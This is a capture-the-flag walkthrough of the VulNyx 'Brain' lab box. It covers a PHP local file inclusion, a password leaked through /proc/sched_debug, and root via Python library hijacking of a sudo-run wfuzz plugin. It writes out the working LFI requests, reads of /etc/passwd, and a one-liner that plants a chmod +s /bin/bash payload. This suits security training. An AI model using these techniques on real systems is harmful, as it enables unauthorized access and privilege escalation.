VulNyx Brain Walkthrough: LFI to Root via /proc/sched_debug
When a web page fills the entire screen with strange output, it isn't decorating the layout — it's shouting a file path at you. This VulNyx box, Brain, is rated Easy, yet it stopped me dead in my tracks — not because the techniques were hard, but because it hid the answer somewhere you'll never think of unless you already know it exists.
1. Box Info
| Item | Details |
|---|---|
| Platform | VulNyx |
| Name | Brain |
| Author | d4t4s3c |
| Difficulty | Easy |
2. Recon
2.1 Nmap
The full port scan came back almost suspiciously clean — only two ports:
nmap -n -Pn -sS -p- --min-rate 5000 <target>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
22 (SSH) plus 80 (HTTP). SSH is a dead end without credentials, so the entry point is almost certainly the web.
2.2 That Weird Homepage
Open port 80 in a browser and the whole page is just this:
runnable tasks:
S task PID tree-key switches prio wait-time sum-exec sum-sleep
-----------------------------------------------------------------------------------------------------------
S systemd 1 2927.102286 1731 120 0.000000 509.025216 0.000000 0 0 /
The entire page is only 361 bytes. No matter how I hit it with curl, it returned the same string — changing the User-Agent, adding parameters, switching to POST, nothing budged. This is a static, hard-coded page. Notice how those numbers are forever frozen at the same value; genuinely live system data would never behave like that.
Here's a bit of foreshadowing: this table format is actually the native output of the Linux kernel file /proc/sched_debug. At the time I'd never heard of this format, and I never connected it to the attack that came later — which is exactly why I ended up taking the scenic route. If you don't recognize this string either, the fastest move is to paste the whole chunk into a search engine; within a second it'll tell you this is /proc/sched_debug. Pentesting isn't about memorizing everything — it's about being able to quickly look up whatever you don't understand.
3. Foothold: From LFI to Credentials
3.1 Directory and Parameter Enumeration
Directory brute-forcing turned up only index.php — the homepage itself:
gobuster dir -w directory-list-2.3-medium.txt -u http://<target>/ -x html,php,txt
# /index.php (Status: 200) [Size: 361]
.git, .phps, vhosts, backup files — all came up empty. Under the web root there is, quite literally, just the one file: index.php.
Since the page exposes no visible parameters, the next move is to fuzz for parameter names. The trick here is to use --hh=361 (or ffuf's -fs 361) to filter out that 361-byte default response; any parameter that changes the page length will reveal itself:
wfuzz -c --hc=404 -w common.txt -u "http://<target>/index.php?FUZZ=/etc/passwd" --hh=361
000002202: 200 33 L 64 W 1750 Ch "include"
The parameter name is include, and the response jumps straight to 1750 bytes — LFI in hand.
3.2 Reading the Source to Confirm No Filtering
Use php://filter to read index.php's own source:
curl -s "http://<target>/index.php?include=php://filter/convert.base64-encode/resource=index.php" | base64 -d
The backend logic it decodes to is about as bare-bones as it gets:
<?php
$filename = $_GET['include'];
include($filename);
?>
A completely unfiltered, blacklist-free include($_GET['include']). That sched_debug string from earlier is just decoration hard-coded and printed above; the real functionality is this wide-open file inclusion.
3.3 Enumerating Users
curl -s "http://<target>/index.php?include=/etc/passwd" | grep "sh$"
root:x:0:0:root:/root:/bin/bash
ben:x:1000:1000:ben,,,:/home/ben:/bin/bash
The only real user accounts are root and ben.
3.4 The Key Twist: Reading the "Real" sched_debug
This step is the heart of the whole box, and it's the part I only figured out after taking the long way around.
The homepage had been showing me the contents of sched_debug all along — that was a hint, not a red herring. Since I already had arbitrary file read, I should go straight to reading the actual file. The version on the homepage is a PHP imitation trimmed down to a single line — a fake. The real /proc/sched_debug is generated live by the kernel and lists every task currently being scheduled on the system:
curl -s "http://<target>/index.php?include=/proc/sched_debug" | grep ben
S ben:B3nP4zz 375 1257.728035 25 120 0.000000 0.989759 0.000000 0 0 /
The author ran a process on the system and deliberately named it ben:B3nP4zz. /proc/sched_debug dutifully lists the name of every task, and just like that the password leaks out — B3nP4zz.
Here's the elegance of the design:/proc/sched_debugis a genuine, real Linux kernel file (in the same family as/proc/cpuinfoand/proc/meminfo— all live kernel state). The author didn't invent a fake path; they used a real but obscure file and hid the secret inside a process name it would display. Precisely because it's obscure, no standard LFI wordlist includes this path, so pure fuzzing will never find it — the only way through is to "recognize which file the homepage is imitating, then manually read the real thing."
3.5 SSH Login
sshpass -p 'B3nP4zz' ssh ben@<target> -o StrictHostKeyChecking=no
ben@brain:~$ id
uid=1000(ben) gid=1000(ben) grupos=1000(ben)
Logged in as ben and got user-level access.
4. Privilege Escalation: wfuzz Python Library Hijacking
4.1 sudo Permissions
After logging in, sudo -l:
ben@brain:~$ sudo -l
User ben may run the following commands on Brain:
(root) NOPASSWD: /usr/bin/wfuzz
ben can run wfuzz as root without a password — that's the break we need, and it finally explains the official wfuzz-sudo tag. The irony is that I'd been thinking of wfuzz as a "brute-force tool" the whole time, which was completely the wrong angle: it isn't here to crack passwords, it's the vehicle for privilege escalation.
4.2 Why wfuzz Can Be Hijacked
String three facts together and the attack surface appears:
- wfuzz is written in Python, and when it runs it
imports its own modules (.pyfiles). - When you run it with
sudo, those imported modules also execute as root. - If there's even one module file that "wfuzz loads and you can write to," the code you drop in will run as root.
When Python imports a module, it executes the module-level code of the entire file from top to bottom — and that's exactly what can be abused.
4.3 Finding a Writable Module
ben@brain:~$ find / -writable 2>/dev/null | grep -vE "proc|sys|tmp|run|dev|home|var"
/usr/lib/python3/dist-packages/wfuzz/plugins/payloads/range.py
ben@brain:~$ ls -l /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/range.py
-rwxrwxrwx 1 root root 1519 abr 19 2023 range.py
-rwxrwxrwx (777), world-writable — a hole the author left on purpose. And range.py is precisely the file wfuzz loads when it uses the -z range payload module.
4.4 Planting the Payload and Triggering It
Append the escalation code to the end of the module so that when it's imported, it sets the SUID bit on /bin/bash:
ben@brain:~$ echo -e 'import os\nos.system("chmod +s /bin/bash")' >> /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/range.py
Then run wfuzz with sudo, using -z range to force it to load the poisoned module:
ben@brain:~$ sudo /usr/bin/wfuzz -z range,1-1 -u http://127.0.0.1/FUZZ
The localhost target given with -u just exists to let wfuzz run at all; the response doesn't matter. The point is that the moment it starts up it imports range.py, and your chmod +s /bin/bash executes as root at that instant.
4.5 Getting Root
ben@brain:~$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1168776 abr 18 2019 /bin/bash
ben@brain:~$ /bin/bash -p
bash-5.0# id
uid=1000(ben) gid=1000(ben) euid=0(root) egid=0(root) grupos=0(root),1000(ben)
Once /bin/bash has the SUID bit, running it makes the effective user the file owner, root; the -p in bash -p preserves privileges instead of dropping them back to ben, so euid=0 and we've got root.
5. Three Takeaways
The homepage's weird content is often an explicit path. When an author goes to the trouble of imitating a file's output format for you to see, it's not pointless — they're telling you to go read the real file. The moment you see "what some file's output looks like," your reflex should be "can the LFI I already have read it directly?"
Just because an LFI wordlist can't find a file doesn't mean it isn't there. Wordlists brute-force common paths, but the obscure files an author deliberately hints at (like /proc/sched_debug) often aren't in them. When the theme clearly points at a specific file, manually take a shot at it — don't trust the fuzzer's results alone.
A sudo-runnable Python tool + a writable module = privilege escalation. Python Library Hijacking isn't limited to wfuzz. Any Python program or script that sudo can execute is worth checking with find / -writable for a writable module it imports. It's an extremely general local-privesc pattern, worth writing into your own methodology.
As for those /proc files — /proc/*/cmdline, /proc/*/environ, and this time /proc/sched_debug — they're all live kernel state, and fields like process names, environment variables, and command-line arguments can all have sensitive info stuffed into them. Next time you're on any Linux box and someone shows you the contents of /proc/, take a second look.
Happy Hacking 🧠
Member discussion